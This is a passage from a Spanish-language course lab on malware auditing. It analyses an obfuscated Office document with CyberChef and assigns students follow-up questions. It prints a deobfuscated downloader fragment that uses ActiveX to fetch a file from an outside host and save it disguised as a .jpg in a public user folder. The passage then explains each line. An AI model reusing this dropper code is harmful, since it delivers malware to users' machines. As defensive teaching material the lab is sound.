Dwc1s67MbWC24TGoOjMXC", false);dateIntegerR.send();if(dateIntegerR.status == 200){try{var varLst =
new ActiveXObject("adodb.stream");varLst.open;varLst.type =
1;varLst.write(dateIntegerR.responsebody);varLst.savetofile("c:\\users\\public\\collectionBoxConst.jpg",
2);varLst.close;}catch(e){}}¯¨é12wzëê
r.r.
ANÁLISIS DE LOS RESULTADOS OBTENIDOS.
Como análisis de los resultados, se puede observar que hay un código que:
• ActiveXObject. Los controles Active X son pequeños bloques empleados para la
creación de programas, que se pueden usar para crear aplicaciones distribuidas que
funcionen a través de Internet empleando navegadores web.
• GET. Una petición GET solicita al servidor una información o recurso concreto. Cuando te
conectas a un sitio web, tu navegador suele enviar varias peticiones GET para recibir los
datos que necesita.
• http://coursemcclurez.com. Se conecta a un sitio web especifico, del cual debe
descargar algún tipo de archivo malicioso.
• Estatus del código 200. El código de respuesta 200, ok, es un código de respuesta del
servidor HTTP que nos ofrecerá el estatus ante una petición estandar correcta a la que
puede responder sin problemas. La petición enviada por el cliente, navegador o robot, fue
recibida correctamente, puede ser entendida por el servidor y aceptada por éste.
• varLst.savetofile("c:\\users\\public\\collectionBoxConst.jpg. Esta línea de código
realiza el procedimiento de guardado del archivo descargado en una ruta especifica del
usuario.
A los efectos de realizar un análisis de este laboratorio, es importante mencionar que la
herramienta muestra información de mucha importancia en cuando a realizar una Auditoria de
Malware de archivos OFUSCADOS, obteniendo resultados muy importantes.
22
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
REPORTE Y/O CONCLUSIONES
Anote sus Conclusiones u Observaciones; del punto requerido.
1. PREGUNTAS TEORICAS.
1.- ¿Investigue 5 métodos de la herramienta “CYBERCHEF” a parte de los vistos como
“From Basse64” o “Strings”
2.- ¿Investigue de manera amplia cómo funciona el tipo de archivo “PKZIP archive” en un
documento del tipo WORD?
2.- PREGUNTA PRACTICA.
Realice el mismo procedimiento de este laboratorio (paso a paso) de los siguientes archivos:
• Dos archivos que debe descargar del sitio web de muestras de malware (Realizar el
procedimiento con la herramienta vista en este laboratorio y sobre todo un análisis
exhaustivo de las líneas de código encontrado; IMPRESCINDIBLE)
o Los archivos son de su elección, es decir puede ser un archivo del tipo WORD,
EXCEL u POWERPOINT.
o Al menos uno de los archivos debe tener código malicioso OFUSCADO
(imprescindible) (Realizar el procedimiento con la herramienta vista en este
laboratorio)
23